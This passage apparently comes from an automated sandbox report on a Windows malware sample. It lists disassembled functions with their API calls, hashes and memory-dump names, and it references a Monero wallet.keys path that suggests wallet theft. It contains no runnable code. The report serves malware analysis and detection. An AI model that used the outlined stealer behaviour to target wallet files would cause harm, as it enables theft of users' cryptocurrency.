Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Strings

\*.*, xrefs: 005F17F1

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 0a806340ef29f566472d4517f5f646cd6bf68c8b65e5bfb167e68b2047037b83
Instruction ID: fe1439b1c65615fe1994e57974253510900bcabd316422f85cdd6370f608cb58
Opcode Fuzzy Hash: 0a806340ef29f566472d4517f5f646cd6bf68c8b65e5bfb167e68b2047037b83
Instruction Fuzzy Hash: E8122D719512189ADB9DFBA0CC96EEF737AAF54340F40819DA10A620D1EF306F89CF95

Function 005FDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00610C2E), ref: 005FDE5E
StrCmpCA.SHLWAPI(?,006114C8), ref: 005FDEAE
StrCmpCA.SHLWAPI(?,006114CC), ref: 005FDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 005FE3E0
FindClose.KERNEL32(000000FF), ref: 005FE3F2

Strings

\*.*, xrefs: 005FDE26

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 6b6f098f4aac33e10d5feace2f18e1a66c221906db32c3ce77d57a01dd96a929
Instruction ID: 70d9de8ff593a950d947e909c95416225d60e3bcf2577ad76defbd7cf3cc3613
Opcode Fuzzy Hash: 6b6f098f4aac33e10d5feace2f18e1a66c221906db32c3ce77d57a01dd96a929
Instruction Fuzzy Hash: DBF1BF719602189ADB9DEBA0CC96EEF733ABF54340F40419DA50A620D1EF346F89CF56

Function 005FDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006114B0,00610C2A), ref: 005FDAEB
StrCmpCA.SHLWAPI(?,006114B4), ref: 005FDB33
StrCmpCA.SHLWAPI(?,006114B8), ref: 005FDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 005FDDCC
FindClose.KERNEL32(000000FF), ref: 005FDDDE

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 74974933681d096f2f3c9bb84fedfbf80a3263934da073fe3a0a4bdb04973b55
Instruction ID: 686499fc5423dc8db2586adb349235e65a60c0f31bb7dfbd20fed8ef286d2154
Opcode Fuzzy Hash: 74974933681d096f2f3c9bb84fedfbf80a3263934da073fe3a0a4bdb04973b55
Instruction Fuzzy Hash: A091557290020897CB58FBB0DC56DFE777EBBD4340F40866CB90696181EE349B498BA6

Function 00607B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

GetKeyboardLayoutList.USER32(00000000,00000000,006105AF), ref: 00607BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00607BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00607C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00607C62
LocalFree.KERNEL32(00000000), ref: 00607D22

Strings

/ , xrefs: 00607C7F

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 88eb0ff0ec681df5918cafb035b8209ed4c1402fc1398b78a1385e2ffb96f5a8
Instruction ID: 499406552e776cdec4ad753ac4e6c8adc22c45a6a232760b1002985b2b4802c2
Opcode Fuzzy Hash: 88eb0ff0ec681df5918cafb035b8209ed4c1402fc1398b78a1385e2ffb96f5a8
Instruction Fuzzy Hash: C3416C71980218ABDB68DB94DC89BEEB379FF44700F204199E009622D1DB342F86CFA5

Function 009CAAC7 Relevance: 10.4, Strings: 7, Instructions: 1662COMMON

Download Yara Rule

Strings

'na, xrefs: 009CAB6C
Kqw~, xrefs: 009CAAD1
w8W~, xrefs: 009CACCC
4WS, xrefs: 009CAB89
Slc>, xrefs: 009CB8EC
XH{n, xrefs: 009CBD40
8U^w, xrefs: 009CB8B1

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'na$8U^w$Kqw~$Slc>$XH{n$w8W~$4WS
API String ID: 0-3283391380
Opcode ID: a18fe8ff763688ad135bf57bdd6ff6ee3b3344badd8af2e74e619c26afec73e4
Instruction ID: bb6a62a3c52d30537c39f1ce9e7668baa13561fa0504d3a22d02ec2ac7e3a5bc
Opcode Fuzzy Hash: a18fe8ff763688ad135bf57bdd6ff6ee3b3344badd8af2e74e619c26afec73e4
Instruction Fuzzy Hash: FDB2F7F3A082049FE304AE2DEC8577ABBE9EF94320F1A493DE6C5C7744E63558058697

Function 005FE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00610D73), ref: 005FE4A2
StrCmpCA.SHLWAPI(?,006114F8), ref: 005FE4F2
StrCmpCA.SHLWAPI(?,006114FC), ref: 005FE508
FindNextFileA.KERNEL32(000000FF,?), ref: 005FEBDF

Strings

\*.*, xrefs: 005FE44D

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 84976e58f3a479be5cdf993c285cd0240bf381381868c02f8471ca8019a3808b
Instruction ID: e6abeaab43501fdcd26e2c6bb24826f37fe344c6a5be2ec25276d67058121ac0
Opcode Fuzzy Hash: 84976e58f3a479be5cdf993c285cd0240bf381381868c02f8471ca8019a3808b
Instruction Fuzzy Hash: 7C1282719502089ADB9CFBA0DC96EEF733AAF94340F40859CB50A560D1EF346F49CB96

Function 009B9D29 Relevance: 9.2, Strings: 6, Instructions: 1679COMMON

Download Yara Rule

Strings

(w;, xrefs: 009BAB34
~Vi/, xrefs: 009BA106
r!~s, xrefs: 009BA701
Xgy, xrefs: 009BB0B1
c+yy, xrefs: 009BA2A5
lIzv, xrefs: 009BA33F

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (w;$c+yy$lIzv$r!~s$~Vi/$Xgy
API String ID: 0-2706887180
Opcode ID: a6563f835944a64bd03b191799adeba5ebf3941ba32f7808e52518b423db11e5
Instruction ID: d41f5498ba341c773c1702432ad23c3813d4521b12751cd654d6608e1d168fde
Opcode Fuzzy Hash: a6563f835944a64bd03b191799adeba5ebf3941ba32f7808e52518b423db11e5
Instruction Fuzzy Hash: 70B23AF3A0C2049FE304AE2DEC8577AB7D9EF94320F1A853DEAC5C7744EA3558058696

Function 009CE1B7 Relevance: 9.1, Strings: 6, Instructions: 1609COMMON

Download Yara Rule

Strings

#]}, xrefs: 009CE3E5
B]w, xrefs: 009CE9FB
3{g, xrefs: 009CEAAA
SNW, xrefs: 009CEF57
4I?, xrefs: 009CE913
qzo, xrefs: 009CEFA1

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #]}$3{g$4I?$B]w$SNW$qzo
API String ID: 0-3843887360
Opcode ID: 0b0fd1ea5cb0cb7cc599caa35c961438469e018faea54e36ef4ded48122056ef
Instruction ID: cdadbfb19d69806d82b7ff5ba4807b138c8f54f19c80b6d77901f1ae55cc030d
Opcode Fuzzy Hash: 0b0fd1ea5cb0cb7cc599caa35c961438469e018faea54e36ef4ded48122056ef
Instruction Fuzzy Hash: C6B2F7F360C2009FE3046E2DEC8577ABBE9EF94720F1A453DEAC4C7744EA3598058696

Function 005F9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N_,00000000,00000000), ref: 005F9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,005F4EEE,00000000,?), ref: 005F9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N_,00000000,00000000), ref: 005F9B2A
LocalFree.KERNEL32(?,?,?,?,005F4EEE,00000000,?), ref: 005F9B3F

Strings

N_, xrefs: 005F9AD4, 005F9AE1, 005F9AF9, 005F9B18, 005F9AE4, 005F9B1B

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N_
API String ID: 4291131564-1897904754
Opcode ID: c94c30d083869b0787ffe160a6764720acd37152f7b650fbd240b3542d1caac8
Instruction ID: 0a41d5511301e94e9faf63189064f20a97ed5dd8a543ed8373d391cdab9a07ab
Opcode Fuzzy Hash: c94c30d083869b0787ffe160a6764720acd37152f7b650fbd240b3542d1caac8
Instruction Fuzzy Hash: 5E11A2B8240208AFEB14CF64DC95FAA77B5FB89700F208458FE159B3D0C7B6A901CB90

Function 009C5AAB Relevance: 7.8, Strings: 5, Instructions: 1543COMMON

Download Yara Rule

Strings

Xt, xrefs: 009C6900
vv:, xrefs: 009C6BB4
Vh7, xrefs: 009C67E6
uU=, xrefs: 009C5BC3
Xt, xrefs: 009C6996

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Vh7$Xt$Xt$uU=$vv:
API String ID: 0-611404519
Opcode ID: 0e17bb1b145a6f5add32ef7ab7a36e48cd47de3c4dae5c37a5ea4c9a0d8e11b5
Instruction ID: 1cc432f8d8195ea12e750e76d714af530b79c3debe14dddefd6a4dc53a278cad
Opcode Fuzzy Hash: 0e17bb1b145a6f5add32ef7ab7a36e48cd47de3c4dae5c37a5ea4c9a0d8e11b5
Instruction Fuzzy Hash: DFA2E5F3A082009FE304AE2DEC8567AFBE9EF94720F16493DE6C4C3744E67598458697

Function 005FC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005FC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005FC87C
lstrcat.KERNEL32(?,00610B46), ref: 005FC943
lstrcat.KERNEL32(?,00610B47), ref: 005FC957
lstrcat.KERNEL32(?,00610B4E), ref: 005FC978

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
